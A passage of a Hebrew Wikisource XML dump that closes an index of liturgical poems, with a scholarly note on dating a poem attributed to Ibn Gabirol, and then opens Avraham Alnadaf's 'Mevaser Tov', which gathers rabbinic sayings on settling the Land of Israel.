בירב פיומי|ר' נתנאל אלפיומי]], הוצאת לעווין עמ' 71 [https://tablet.otzar.org/#/book/149871/p/44/t/1/fs/mn_60cf43af-f541-4636-9600-d4ea6150c1f4/start/0/end/4/c *], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#לוח|לוח]] [https://hebrewbooks.org/pdfpager.aspx?req=36611&amp;st=&amp;pgnum=74 71], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1338229 411]. הערה: ה' שובין ב[https://hebrewbooks.org/pdfpager.aspx?sits=1&amp;req=46778&amp;st=%D7%A9%D7%91%D7%99%D7%94%20%D7%A2%D7%A0%D7%99%D7%94&amp;_rnd=0.8254772840237545 מבוא לסדר פיוט אקדמות] (ווילנא 1901) התאמץ להוכיח שהפיוט הזה איננו לרשב&quot;ג, אבל להלן בערך [[#א-1952|שנותינו ספו]] אוכיח שאין יסוד לטענותיו.{{ש}}

שבץ אחזני{{ש}}

שבת היום לה'{{ש}}

שבת הכסא אשר למעלה מנושא{{ש}}

שבת ומילה{{ש}}

שבת זה שבת הגדול{{ש}}

שבת סורו מני{{ש}}

שדודים נדודים{{ש}}

שדי אל מה נורא{{ש}}

שואף כמו עבד{{ש}}

שוכני בתי חמר{{ש}}

שוכנת בשדה{{ש}}

שולמית הנבחרת מעמים{{ש}}

שוממתי ברב יגוני{{ש}}

שומר ישראל{{ש}}

שומרון קול תתן{{ש}}

שופט כל הארץ{{ש}}

שושן עמק{{ש}}

שושנת ורד{{ש}}

שזופת שמש{{ש}}

שח ציר נאמן{{ש}}

שחי לאל{{ש}}

שחר אבקשך{{ש}}

שחר להודות לך קמתי{{ש}}

שחר קמתי להודות{{ש}}

שחרנוך בקשנוך יוצר הרים{{ש}}

שטר עלי בעדים וקנין{{ש}}

שימו לב על הנשמה{{ש}}

שימני ראש{{ש}}

שיר אל נעלם{{ש}}

שיר אענה{{ש}}

שיר היחוד{{ש}}

שיר הכבוד{{ש}}

שיר ושבח עירכו{{ש}}

שיר חדש אשיר{{ש}}

שיר חדש זמרו{{ש}}

שירה לאל נרננה{{ש}}

שירו לאל הודו לשמו{{ש}}

שירו לאל נבוני{{ש}}

שירו לאל נועם{{ש}}

שירו לאל שיר חדש{{ש}}

שירו לה' בחורי וזקני{{ש}}

שירו לה' הודו לו{{ש}}

שירות ותשבחות אתנה{{ש}}

שישו ושמחו בשמחת תורה{{ש}}

שכולה אכולה{{ש}}

[[שכולה גלמודה]]

שכורת ולא מיין{{ש}}

שכינה צועקת בהרע{{ש}}

שלום וצדק נשקו{{ש}}

שלום לבוא שבת{{ש}}

שלום לך דודי{{ש}}

שלום עליכם אתם{{ש}}

שלום עליכם מלאכי השרת{{ש}}

שלום תשפות לנו{{ש}}

שלומי עליון ישני מכפלה{{ש}}

שלמא לכון שארא דישראל{{ש}}

שלש עשרה מדות האמורות בחנינה{{ש}}

שם אל קמתי לברך{{ש}}

שמחו בשמחת תורה{{ש}}

שמחו בשמחת תורת משה{{ש}}

שמחו נא{{ש}}

שמחו נא שמחו נא במפטיר וברכתו{{ש}}

שמחים בצאתם ובביאתם{{ש}}

שמחתי באומרים לי{{ש}}

שמיני אותותיו ומעשיו בספר נכתבים{{ש}}

שמך לעד בפי מועד{{ש}}

שמם הר ציון{{ש}}

שמע האל{{ש}}

שמע קולי{{ש}}

שמעו והאזינו{{ש}}

שמעו נא תוכחת{{ש}}

שמעתי מפאתי תימן{{ש}}

שמרו שבתותי{{ש}}

שנאנים שאננים{{ש}}

שנה בשנה אהגה כיונה{{ש}}

==ש-1952==
'''[[שנותינו ספו|שנותינו ספו בדלות ובקלות לאור נקוה והנה בוז ושפלות]]'''. — גאולה לשבת שניה אחר פסח — סי' שלמה (ב' פעמים) חזק. [רשב&quot;ג]. * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#אוצר התפלות|אוצר התפלות]] ח&quot;ב [https://hebrewbooks.org/pdfpager.aspx?req=57996&amp;st=&amp;pgnum=660 259], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#ארנהיים|ארנהיים]] 238, [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#דרך החיים|דרך החיים]] ח&quot;ה 118, [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#כל בו|כל בו]] ח&quot;ד 310 [https://hebrewbooks.org/pdfpager.aspx?req=20350&amp;st=&amp;pgnum=341 *], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#סליחות-תימנים|סליחות-תימנים]] 37, [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#ע&quot;י|ע&quot;י]] [https://hebrewbooks.org/pdfpager.aspx?req=42897&amp;st=&amp;pgnum=804 734], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#פירסט|פירסט]] 108, [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#שירי שלמה-ב&quot;ר|שירי שלמה-ב&quot;ר]] ח&quot;ב (*) ח&quot;ג [https://hebrewbooks.org/pdfpager.aspx?req=38219&amp;st=&amp;pgnum=19&amp;hilite= 5], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#שער השמים|שער השמים]] ח&quot;ב [https://hebrewbooks.org/pdfpager.aspx?req=22560&amp;st=&amp;pgnum=211 104]:, [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#תכלאל|תכלאל]] ח&quot;ב ב 148: תרגום אשכנזי: [[אוצר השירה והפיוט/מפתח המקורות/מקורות לועזים#Geiger|גייגער-גבירול]] 103, [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#לוח|לוח]] [https://hebrewbooks.org/pdfpager.aspx?req=36611&amp;st=&amp;pgnum=75 72], סי' 108. הערה: בכל הדפוסים מלבד סליחות תימנים ותכלאל נמצא שנוסח החרוז האחרון של הבית השלישי הוא: &quot;וגם עוד ישמעאל הרס וגרס הרי ששים ואחת וארבע מאות&quot;. הרוו&quot;ה במאמרו &quot;[https://www.nli.org.il/he/books/NNL_ALEPH990018828980205171/NLI הפיוטים והפיטנים]&quot; מעלה בחשבונו שתס&quot;א למספר הישמעאלים מתאים לשנת ד' אלפים תתט&quot;ו (1055) או תתל&quot;ה (1075), &quot;כי תחילת מלכות ישמעאל ד&quot;א שנ&quot;ד (594) או שע&quot;ד (614) כמבואר ב[[איגרת רב שרירא גאון|תשובת ר' שרירא גאון]]&quot;. אחריו נגרר בעל ע&quot;י בפירושו ואחז בשנת תטט&quot;ו, ודוקעס ג&quot;כ נגרר אחריו ואחז בשנת תתל&quot;ה (עי' [[אוצר השירה והפיוט/מפתח המקורות/מקורות לועזים#Dukes|עהרענזוילען]] עמ' [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1368244 10], [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1368254 20]). ה' שי&quot;ר חלק על הרוו&quot;ה ואמר שיש לו ראיות נכוחות שצ&quot;ל בגוף הפיוט &quot;הרי ארבע מאות ושלושים ואחת&quot; ([https://hebrewbooks.org/47046 אגרות שי&quot;ר] [https://hebrewbooks.org/pdfpager.aspx?req=47046&amp;st=&amp;pgnum=289 239]), ולפי זה היתה השנה שבו חבר הפיטן את הפיוט הזה שנת 1025 או 1045 למה&quot;נ. אולם האמת היא כי אין לסמוך בזה על התאריך שבאגרת ר' שרירא גאון כי כבר העיר בצדק בעל [[דורות הראשונים]] (ח&quot;ג (*ח&quot;ו)[https://beta.hebrewbooks.org/pdfpager.aspx?req=20282&amp;st=&amp;pgnum=177 172]) כי המלים &quot;שנת ארבע אלפים ושע&quot;ד ליצירה&quot; היא הוספת ר' שמואל ולם והגאון בעצמו לא כתב רק &quot;ובימיו יצא מחמד לעולם&quot; (עי' ג&quot;כ [https://hebrewbooks.org/1374 אגרת רב שרירא גאון הוצאת ד&quot;ר בנימן מנשה לוין] [https://hebrewbooks.org/pdfpager.aspx?req=1374&amp;st=&amp;pgnum=176&amp;hilite= עמ' 100]) והנכון הוא כמו שהעיר שד&quot;ל שתס&quot;א לספירת הישמעאלים עולה לשנת 1069 למה&quot;נ (עי' [[אוצר השירה והפיוט/מפתח המקורות/מקורות לועזים#Literaturblatt|ליטבל]] 1846 [https://sammlungen.ub.uni-frankfurt.de/cm/periodical/pageview/3532435 עמ' 491] ו[[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#אגרות שד&quot;ל|אגרות שד&quot;ל]] עמ' 983) כי התחלת מלכות ישמעאל היתה בשנת 622 למה&quot;נ ואם נוסיף על זה 461 בנכוי י&quot;א ימים לכל שנה ישמעאלית שהיא שנת לבנה תעלה לנו שנת 109 למה&quot;נ. אבל אפילו אם נאמר שהפיטן חשב שנות חמה ולפי זה תצא לנו שתס&quot;א שנה אחר התחלת מלכות ישמעאל היא שנת 1083 למה&quot;נ, אין לנו להטיל ספק ולומר שרשב&quot;ג לא חבר את הפיוט הזה מפני שהוא כבר מת בשנת 1069 או 1070, כי לפי דעתי אין לנו להתחשב עם התאריכים הנמצאים בפיוטים מפני שאין כל ספק שהמעתיקים שנו אותם כדי להתאים את התאריך לפי זמניהם הם. והא ראיה כי התאריך שלנו נמצא בסליחות תימנים ובתכלאל בנוסח זה: &quot;וגם עוד הרג והרס שבע עשרה שנה וחמש מאות&quot; וכן הוא ג&quot;כ ב[https://www.nli.org.il/he/discover/manuscripts/hebrew-manuscripts/itempage?vid=KTIV&amp;scope=KTIV&amp;docId=PNX_MANUSCRIPTS990001751910205171 כ&quot;י ברלין 576] (עי' [[אוצר השירה והפיוט/מפתח המקורות/מקורות לועזים#Steinschneider|רשימת רמש&quot;ש]] ח&quot;א [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/4023837 עמ' 118] הע' 42), ובספר &quot;[[W:גן השכלים|בוסתאן אל-אוקול&quot; (גן החכמה)]] ל[[W:נתנאל בירב פיומי|ר' נתנאל אלפיומי]] (הוצאת דוד לעווין נויארק 1908 עמ' 70-71) [https://tablet.otzar.org/#/book/149871/p/1/t/1/fs/mn_e8afa9ad-9153-4126-a753-63ec5829d3d0/start/0/end/4/c *] מובא קטע מפיוט זה ושם הנוסח: &quot;וגם עוד ישמעאל הרג הרס תשע וחמשים שנה וחמש מאות&quot;. מזה נראה שר' נתנאל שנה את התאריך להתאים עם השנה (1165) שבו כתב את ספרו וכן עשו המעתיקים האחרים. מכל האמור בזה מוכח שדברי ה' שובין ב[https://hebrewbooks.org/pdfpager.aspx?sits=1&amp;req=46778&amp;st=%D7%A9%D7%91%D7%99%D7%94%20%D7%A2%D7%A0%D7%99%D7%94&amp;_rnd=0.8254772840237545 מבוא לסדר פיוט אקדמות] (ווילנא 1901) [https://hebrewbooks.org/pdfpager.aspx?req=46778&amp;st=%d7%a9%d7%91%d7%99%d7%94+%d7%a2%d7%a0%d7%99%d7%94&amp;pgnum=35&amp;hilite= עמ' 34] שהפיוט הזה הוא לר' שלמה הבבלי אין להם יסוד כלל.{{ש}}

שני זיתים נכרתים{{ש}}

שננו לשונם בני אונם{{ש}}

שנת אוצרך הטוב{{ש}}

שנת אורה שנת ברכה{{ש}}

שנת אסומה ובלולה{{ש}}

שנת ארץ תתן יבולה{{ש}}

שעה נאסר{{ש}}

שעה עליון לקול אביון{{ש}}

שער אשר נסגר{{ש}}

שער הרחמים{{ש}}

שערי שמים בלולי אש ומים{{ש}}

שעריך בדפקי{{ש}}

שפל רוח{{ש}}

שפעת רביבים{{ש}}

שרי קודש היום{{ש}}

שרפו הבירה{{ש}}

שש מאות נקראות{{ש}}

ששוני רב בך{{ש}}

שתאמץ אהבת אמוניך{{ש}}

שתה ימי גלותי{{ש}}

שתי פעמים מקוימים{{ש}}

=ת=
תא שמע מרא דעלמא{{ש}}

תאבת יום זה{{ש}}

תאות לב לא השגנו{{ש}}

תאות נפש ולב{{ש}}

תאחר מיום זכרון{{ש}}

תאיר אורנו{{ש}}

[[תאיר נוגה]]

תאלת יום ענוי{{ש}}

תאמר למחות אשמינו{{ש}}

תאמת אור בקדש{{ש}}

תבוא לפניך שועת חנון{{ש}}

תגרת יד אסוף{{ש}}

תהום השוטף על ראשי צפה{{ש}}

תהיינה עיניך פקוחות{{ש}}

תוחלת ישראל{{ש}}

תומת צורים וחסדם{{ש}}

תורה הקדושה{{ש}}

תורתא דמרביא{{ש}}

תזכו לשנים רבות (פיוט){{ש}}

[[תחילת כל מעש]]

תחינה לנפילת אפים ממחזור ויטרי{{ש}}

תחלי תורה{{ש}}

תחרות רוגז הניח{{ש}}

תיסתר לאלם תרשישים מרון{{ש}}

תכלה ממנו אפך וחמתך{{ש}}

תכפו עלינו צרות{{ש}}

תמהנו מרעות{{ש}}

תמו פסו עבודת בית עולמים{{ש}}

תמור עבודת מזין{{ש}}

תנות צרות לא נוכל{{ש}}

תנחם על עפר ואפר{{ש}}

תעודה החמודה{{ש}}

תעינו מאחריך{{ש}}

תעלה תפילתנו למעון שמיך{{ש}}

תעלת צרי{{ש}}

תענה אמונים{{ש}}

תענית צבור קבעו תבוע צרכים{{ש}}

תערוג אליך כאיל על אפיקים{{ש}}

תפילה תקח תחינה תבחר{{ש}}

תפילתו של כהן גדול{{ש}}

תפלה לקדמך{{ש}}

תפן להקשיב ממעונים{{ש}}

תפתח ארץ ויפרו ישע{{ש}}

תרומה הבדילנו{{ש}}

תשבי צורי{{ש}}

תשוב תרחמנו שוב שביתנו{{ש}}

תשובה חשובה{{ש}}

תתברך אלהי האלהים{{ש}}

תתמוך גורלנו{{ש}}

תתן אחרית לעמך{{ש}}</text>
      <sha1>0p8f9k8aqt9ccb4h95pm8b11d9g224z</sha1>
    </revision>
  </page>
  <page>
    <title>מבשר טוב - ארץ ישראל</title>
    <ns>0</ns>
    <id>1744141</id>
    <revision>
      <id>3020732</id>
      <parentid>3019392</parentid>
      <timestamp>2026-06-19T08:20:54Z</timestamp>
      <contributor>
        <username>ג'רמון</username>
        <id>45757</id>
      </contributor>
      <minor />
      <comment>ערכתי</comment>
      <origin>3020732</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="87091" sha1="pqwscpbch4obntetpj1nvs0y392gax6" xml:space="preserve">[[w:אברהם_אלנדאף|'''&lt;big&gt;חכם אברהם אלנדאף&lt;/big&gt;''']]

== מבשר טוב ==
מה נאוו על ההרים רגלי מבשר משמיע שלום מבשר טוב.

הספר הזה קטן הכמות ורב האיכות &quot;מבשר טוב&quot; על ישוב ארה&quot;ק בכלל ועל עיקו&quot;ת ירושלם בפרט. דברים היוצאים מפי קדושי עליונין רבותינו ז&quot;ל ראשונים ואחרונים אשר אסף איש טהור הרב בעל ס' חבת ירושלם ז&quot;ל והר' בעל ס' רגלי מבשר ז&quot;ל וכולם ברעש גדול מזהירין ומעוררין ומקדישין את כל המתקדש בקדושת הארץ בכל אבר בידו להחזקת הישוב הן בגופו הן בממונו הן ברוח מבינתו בכלל ובפרט כי עת לחננה כי בא מועד עת קץ לבוא אל ארץ אבותינו זאת נחלת עבדי ה' ! הן אמת כי מלבד שהזמן אלצני לקרבה אל המלאכה לראו&quot;ת בגנזי&quot;ם וללקו&quot;ט שושני&quot;ם מכמה ספרים יען טרחתי גם ידעתי בעוד גולה בדורנו זה איזה חכמים ומשכילים השמחים בחלקם אשר רכשו להם בארצות העמים ואל חלק ה' ארץ הצבי נחלת אבותינו אינם פונים ולקדושתה אינם חושבים. עוד העירני אחד מידידי ומכירי הנותנים כל כחם וכל רעיונם רק לישוב הארץ לבלתי התרשל מעשות זאת התורה. אמנם טרדות הזמן הבוגד לא נתנני להוציא כל מחשבתי אל הפועל וע&quot;כ הסתפקתי במה שמצאתי את שאהבה נפשי מה שליקטתי מספרי רבותינו הנז' ז&quot;ל יען בים בהם די והותר למי שמהסס עוד בדבר הישוב וקדושת הארץ ואל החברו' והאגודות היקרו' המתעסקו' בעניני ישוב הארץ ישראל אשא ברכתי כי כה יעשו וכה יוסיפו חזקו והתחזקו בעד עמנו ובעד ערי אלקינו וחפץ ה' בידם יצליח ולא אבוש ולא אחסום פי מלברכם יה&quot;ר שיהיו מעשיהם רצוים לפני ה' השוכן בציון ובוחר בירושלם בימיהם ובימנו תושע יהודה וישראל ישכן לבטח ובא לציון גואל אכי&quot;ר.

המדבר בצדקה, מחכה לישועה קרובה

קל מנמלה אני

אברהם בכ&quot;ר חיים אנדאף ס&quot;ט טין.
שאלו שלום ירושלם ישליו אוהביך

== פרק א ==

=== שאלו שלום ירושלם ישליו אוהביך ===

===== [מי יתן מציון ישועת ישראל בשוב ה' שבות עמו] =====
איתא במס' ד&quot;א בפ&quot;ג אריב&quot;ל א&quot;ל הקב&quot;ה לישראל אתם גרמתם להחריב את ביתי ולהגלות את בני הוו שואלים בשלומה ואני מוחל לכם, מה טעם שאלו שלום ירושלם, ואומר יהי שלום בחילך וגו' ואומר למען אחי וריעי וגו' עכ&quot;ל. ומובא בספרים ומי האיש ירא ה' הרואה שמחילת עון גרם החורבן והגלות תלוי בשאלת שלום ירושלם ולבבו לא יחרד לשאול תמיד בשלומה ופשוטו כמשמעו לשאול על איכות ומהות א&quot;י וירושלם ומקום המקדש בכל פרטיה ודקדוקיה ולהשתוקק להשיג מאבניה ועפרה הק' ולרצותם ולחבבם כמו שמצינו שעשו בגלות יכניה המלך כדאיתא במסכת ר&quot;ה ע&quot;ש, ופירש&quot;י ז&quot;ל משום דכתי' כי רצו עבדיך את אבניה ע&quot;כ.

ב. כתב מהר&quot;ם חגיז ז&quot;ל בס' אלה מסעי ד&quot;ז וז&quot;ל הנה להיות דכל הגולה ראו דטרדת המזונות אינה נותנת להם מקום לחלוק כבוד הראוי לאבינו שבשמים ולאמא עילאה זאת נחלת עבדי ה' בצדקתם כדי להחיות את שארית פליטת אחינו העם היושב בה ולא יהיה נאבד חזקת הישוב מא&quot;י כי העמדת חזקת אותו ישוב הוא עיקר גדול מעקרי האמונה כמו שכתב אבי התעודה הרמב&quot;ם ז&quot;ל במנין המצות עשה קנ&quot;ג וז&quot;ל ובכאן שרש גדול משרשי האמונה לא ידעוהו ולא יתבונן במקומו אלא מי שדעתו עמו והוא הדבר שהיותינו היום בחו&quot;ל חושבים במלאכת העיבור שבידנו ואנו אומרים שהיום ר&quot;ח פ' וזה היום יו&quot;ט פ' לא מפני חשבונותינו נשימהו ר&quot;ח או מועד אלא מפני שב&quot;ד שבא&quot;י קבעו זה היום ר&quot;ח או מועד ועל קביעותם נעמוד ולא על חשבוננו נסמוך הקביעות יען אין חשבונינו אלא לגילוי מלתא בעלמא והבן זה מאד כי אני אוסיף לך ביאורו אלו חשבנו והנחנו דרך משל שבני א&quot;י יעדרו ולא יהיו עוד בא&quot;י ח&quot;ו ולא יהיה בחו&quot;ל ב&quot;ד שנסמך בארץ, דע שחשבונינו לא יועילנו בשום דבר לפי שאין לנו לחשוב בחו&quot;ל לעבר שנים ולקבוע חדשים אלא בתנאים הנזכרים כמו שבארנו כי מציון תצא תורה ודבר ה' מירושלם וכשיתבונן מי שיש לו שכל שלם ובריא בלשונות התלמוד בזה הענין יתברר לו כל זה שאמרנו ביאור אין ספק בו, ע&quot;כ תמצית לשונו הטהור, ואין ספק בזה דע&quot;פ הדברים האלה אשר דבר משה איש האלהים מזה ימים מקדם הלכה רווחת בישראל דכל יו&quot;ט שני של גליות עושין נדבה סתם לעני א&quot;י כי זכרון הוא להודיע ולהודע דע&quot;פ החשבונים אנו סומכים בענין קביעות הר&quot;ח והיו&quot;ט ולבלתי ידה ממנו נדח עושין משמרת למשמרת כדי שלא יכלה ח&quot;ו רגל ישראל מנחלת אבותינו עכ&quot;ל ס' אל&quot;מ.

== פרק ב ==

=== עורי עורי קומי שבי ירושלם. ===

==== [כי מציון תצא תורה ודבר ה' מירושלם]. ====
א. דבר גדול הנאמר בס' חרדים ומובא בשל&quot;ה הק' וז&quot;ל וצריך כל איש ישראל לחבב את א&quot;י ועגב גדול הוא לבוא אלי' מאפסי הארץ בתשוקה גדולה כבן אל חיק אמו כי תהלת עונינו שנקבעה לנו בכיה לדורות יען מאסנו בה שנאמר וימאסו בארץ חמדה ובפדיון נפשינו מהרה יהיה כי רצו עבדיך את אבניה ואת עפרה יחוננו ושם אתה תקום תרחם ציון ולפיכך היו האמוראים מנשקים עפרותיה ואבניה בבואם אליה. ומה טוב ומה נעים לשיר שיר ידידות אשר יסד רבינו יהודה הלוי עליה באהבה רבה, תחלת השירה ארץ הקדושה יקרא חמודה וכו', [ואנן בני תימן כן אנו משוררים שיר מיסוד ר&quot;י הנז' והוא יפה נוף וכו',] בשמחה רבה ומתחננים לאל אל יגרשנו מעליה גם הקרובים והרחוקים אשר חוצה לה ראוי להם שיהיו נכספים ותאבים אליה כי כשם שבחר בהם כך בחר בא&quot;י ויחד אותה להם ואין נקראים גוי אחד אלא עמה שכך פי' רשב&quot;י על מקרא שכתוב ומי כעמך ישראל גוי אחד בארץ ומצינו במדרש שהקב&quot;ה אמר לאברהם אבינו פעם ראשונה שילך לא&quot;י ויראנה ויחזור ואחר שהחזר לא נתן לו רשות לחזור לא&quot;י עד חמש שנים ואותן החמש שנים היה משתוקק לחזור ללכת והוא שאמר זה הפסוק מי יתן לי אבר כיונה אעופה ואשכנה הנה ארחיק נדוד אלין במדבר סלה מוטב ללון במדברות שלא&quot;י, ולא ללון בפלטיות של חו&quot;ל והיה תאב ומשתוקק כתיב וילך אברהם כאשר דבר אליו ה' וקודם בואו אל הארץ לא היה משתוקק אבל אחר שבא פעם ראשונה וראה במראה הנבואה יקר תפארת הארץ אז נכסוף נכסף וממנו נלמוד לדורות אנחנו יוצאי חלציו להיות נכספים כמוהו אע&quot;פ שיושבים בצער על מנת כך נהיה שמחים ביסורין.

עוד שם ז&quot;ל וכתב רמב&quot;ן במנין תרי&quot;ג מצות, ישיבת ארץ ישראל בכל עת ורגע שהאדם בא&quot;י הוא מקיים המצוה זו עכ&quot;ל, הנה כי כן אשרי האיש המצפה לעלות לארץ חמדה לנשק באהבה אבניה ועפרותיה עכ&quot;ל.
&quot;וְשַׂשְׂתִּי בְעַמִּי וְגַלְתִּי בִּירוּשָׁלָ‍ִם

== פרק ג ==

=== &quot;וְשַׂשְׂתִּי בְעַמִּי וְגַלְתִּי בִּירוּשָׁלָ‍ִם ===

==== [העם הישב בה נשוא עון]&quot; ====
א. איתא בס' חרדים ד' נ&quot;י זצ&quot;ל, דע כי היסורים של א&quot;י הן מצד החלאים הן מצד המזונות והן מצד הערבים וכיוצא מזבח כפרה הם (כמ&quot;ש ישעיה ל&quot;ג) וכל יאמר שכן חליתי העם היושב בה נשוא עון, שע&quot;י הצער שהם סובלים מנכים ומתמעטים העונות וכתי' וכפר אדמתו עמו ע&quot;כ. ובס' טוב הארץ ד' ד' מביא מדרש משלי והובא בילקוט ז&quot;ל א&quot;ר יוחנן טוב פת חריבה זו א&quot;י שאפי' אוכל אדם בה פת במלח ובכפנם ודר בה זוכה לעוה&quot;ב, מבית מלא זבחי ריב זו חו&quot;ל וכו' ע&quot;ש. ועיין בסידור רבי יעבץ ז&quot;ל בהקדמתו דכ&quot;ד שהאריך בענין מעלת הדר בא&quot;י וסו&quot;ד בד' ל' כתב ואין להאריך בידוע כמה הפליגו חז&quot;ל בשבח א&quot;י והדרים בה כי התלמוד והמדרשים והזוהר וספרי החכמה מלאים מפה לפה, וגם המפרשים מלאו ידיהם לה' להזכירה לשבח גדול ביחוד הראב&quot;ע והרמב&quot;ן ז&quot;ל. גם הרב בעל ס' הכוזרי הפליג בדבר הזה ומאריך שלא יהיה מקום לבע&quot;ד לחלוק מהא דאמר רב יהודה כל העולה מבבל לא&quot;י עובר בעשה עש&quot;ב שמוכיח שאפי' מבבל בימי חכמי התלמוד היו עולין לא&quot;י ת&quot;ח לרוב ע&quot;ש ומסיים בד' ל&quot;ו וז&quot;ל, נחזור לעניינינו מי שעושה בלבו הסכמה מוחלטת לעלות לא&quot;י כשמשיג ידו ומתעכב בחו&quot;ל מפני החברה אז מועיל לו כונתו הטובה ותעלה לו ותקובל תפלתו כאלו עומד בעיה&quot;ק נגד שער השמים ויעזרוהו להוציא מחשבתו לפועל ממש לקיים עכ&quot;ל היעב&quot;ץ.

ב. ובס' חס&quot;ל מעין ג' נהר י&quot;ב ב' וז&quot;ל ודע שכל הדר בא&quot;י נקרא צדיק הגם שאינם צדיקים כפי הנראה שאם לא היה צדיק היה מקיא אותו הארץ כדכתיב ותקיא הארץ את יושביה וכיון שאינו מקיא אותו בודאי נקרא צדיק אע&quot;פ שהוא נראה בחזקת רשע ובס' טוה&quot;א מביא זה בשם רמ&quot;ק ז&quot;ל.

ג. א&quot;ה בהיות שראיתי איזה חכמים מחכמי דורנו שסוברים שאין תועלת רוחנית בישיבת ארה&quot;ק בזה&quot;ז יען שחושבים שקדושתה אינה רק בזמן שהיתה כבושה בידיהם ובהמ&quot;ק בנוי, לא כן עתה בחורבנו לזאת רציתי להאריך כאן ולהביא מעט מזער ממה שהעלה בס' חבת ירושלם זה יצא ראשונה. הרב הגאון בעל ספר כפתור ופרח בפ&quot;י מביא מעלת א&quot;י וכתב הרי שקדושת הארץ ומעלתה הוא משעת נתינתה אל האבות לא משעת הכבוש לחוד, אמנם החוב מתנותיה הוא משעת כבוש לבד, עוד כתב שם שאין היום הבדל ולא הפרש ולא חילוק כלל בין מה שכבשו עולי מצרים ובין מה שכבשו עולי בבל שאין שום דבר בזה שלא יהיה בזה בענין הקדושה והמעלה לבד חיוב התרומות ומעשרות שאלו דאורייתא ואלו דרבנן ומוכיח וכתב ולזה תמצא כשהם מזכירים ז&quot;ל קדושה ראשונה קדשה לשעתה ולא כו' לא הזכירו אלא על חיוב תו&quot;מ אבל קדושת הארץ כולה לגבולותיה המוגבלים בתורה וטהרתה ומעלתה לחיים ולמתים והיותה נחלת ה' מקדושה ראשונה ולהלן כדקאי קאי לא בצר לא בזמן הגלות שהיו בבבל וגם לא בגלותנו היום, ומביא ראיות והוכחות וכתב הרי שרז&quot;ל קוראים ארץ העמים לחלק א&quot;י עצמה אף אנו נאמר שקוראין לחלק א&quot;י חו&quot;ל מפני שלא נכבשו בשניה, ולשון ארץ העמים ולשון חו&quot;ל אחד הוא שחו&quot;ל היא ארץ העמים וארץ העמים היא חו&quot;ל. וא&quot;כ כשנמצא שיפול א' מאותם השמות על איזה חלק ממנה הוא מפני איזה מום שמצאו חכמים באותו חלק הן ממדור הגוים הן שלא נכבש בשניה עד שנתבטלו חקי המתנות שם מדין תורה. ועפי&quot; הסברא ואיך דלגה בגבולי א&quot;י חו&quot;ל עד שבארץ עכו יוצאת רצועה מחו&quot;ל וכן בין לוד ויפו נפלה החתיכה מחו&quot;ל והוא כפר לודים והנה שלשת אלו המקומות יכללם מהלך שתי שעות וכמה כיוצא בזה אלא אין לנו לומר אלא הטעם שזכרנו שבטלו חקי מתנותיה ומוכיח עוד ומסיים העולה בידינו מכל זה שכל מקום שנמצא רז&quot;ל אומרים וקוראים חו&quot;ל לאיזה חלק שיהיה מן הארץ בתוך גבולי אלה מסעי שרצונם לומר חו&quot;ל של כבוש שני לא שיהיה דעתם כחו&quot;ל גמור חלילה. וא&quot;כ כל מה שבתוך גבולי א&quot;י הנז' באלה מסעי הכל לכל הפחות קדוש בקדושת א&quot;י לכל התועלת המוקדשים ממנה ולענין חיוב חוקיה יש הפרש ובמה שהתבאר עב&quot;ל.

ד. הרב מהר&quot;מ חאגיז ז&quot;ל המיוסד להשיב לנביר א' אשר שאלהו לדעת קדושת הארץ בהיום ואם יש איזה שבר טוב לשכון בה כי שמע לקצת שוטים אשר אמרו שהדרים בעת בארה&quot;ק עוברים ציווי ה' אשר גזר היות הארץ שוממה מבלי יושב כמ&quot;ש ושממו עליה וכו' והשיב באורך וברוחב דברים הנחמדים מזהב ומפז רב מתוקים מדבש ולהעתיק כלו א&quot;א אולם מפני שיש גם עתה המצפצפים והמהגים שאלות כאלה מדינה ומדינה בלשונה זאת אומרת טוב לשבת בחו&quot;ל בעבודה תמה מלבוא אל שער המלך בלבוש שק כי אדם אין צדיק וכו' וזאת אומרת מה בצע כי נתמוך ידי היושבים שם אם חפץ בנו ה' להתיישב ארצו ונחלתו יגאלנו ויביאנו לשלום שמה.

לכן אעתיק איזה גרגרים עיקרים בקצרה ובדילוג, בריש מלין כ' בדף ג', וז&quot;ל: כי אין ספק אצלי כי כל איש חכם שמסתפק בזה וכיוצא בו לא פליט מהדא מתרתי – או שנזרקה בו רוח מינות והתורה שלמד נעשית לו סם המות, או באמת היותר ודאי אצלי שאין זה חכם ואם קרא לא שנה ואם שנה לא פירשו לו רבותיו יפה ההשגחה הנצרכת וראויה לדקדק בדברי התורה והנביאים והחכמים העניים במקום הזה ועשירים במקום אחר. ובדף ה' כ' שהם זורעים לריק ומולידים לבהלה נגד אמיתות דברי התורה והנביאים והכתובים והחכמים השלימים האלהים רבותי' הצדיקים ז&quot;ל, ושם הרשעים המורים פנים בתורה שלא כהלכה אשר יעצו זאת על ירושלם המעטירה ארץ חמדה והחשוקה מאבות שלשה ורועים שלשה לאמור שנתחלל קדושתה קדושת הכהנת להיות כפונדקית ומאחר כי עזב ה' את הארץ הטובה ההיא שהעם היושב בה הוא רובץ תחת משא עונותיו ושה' יחשוב לו עון על ישיבתו בארץ ההיא מבאשים את ריח קה&quot;ק ולדעתי דעת התורה המה מטילים מום בקדשים. וה' שוכן בציון עבר הוה עתיד הלא זאת בת שבע רצון מלאה ברכת ה' ארץ חפץ אשר חפץ בה ה'.

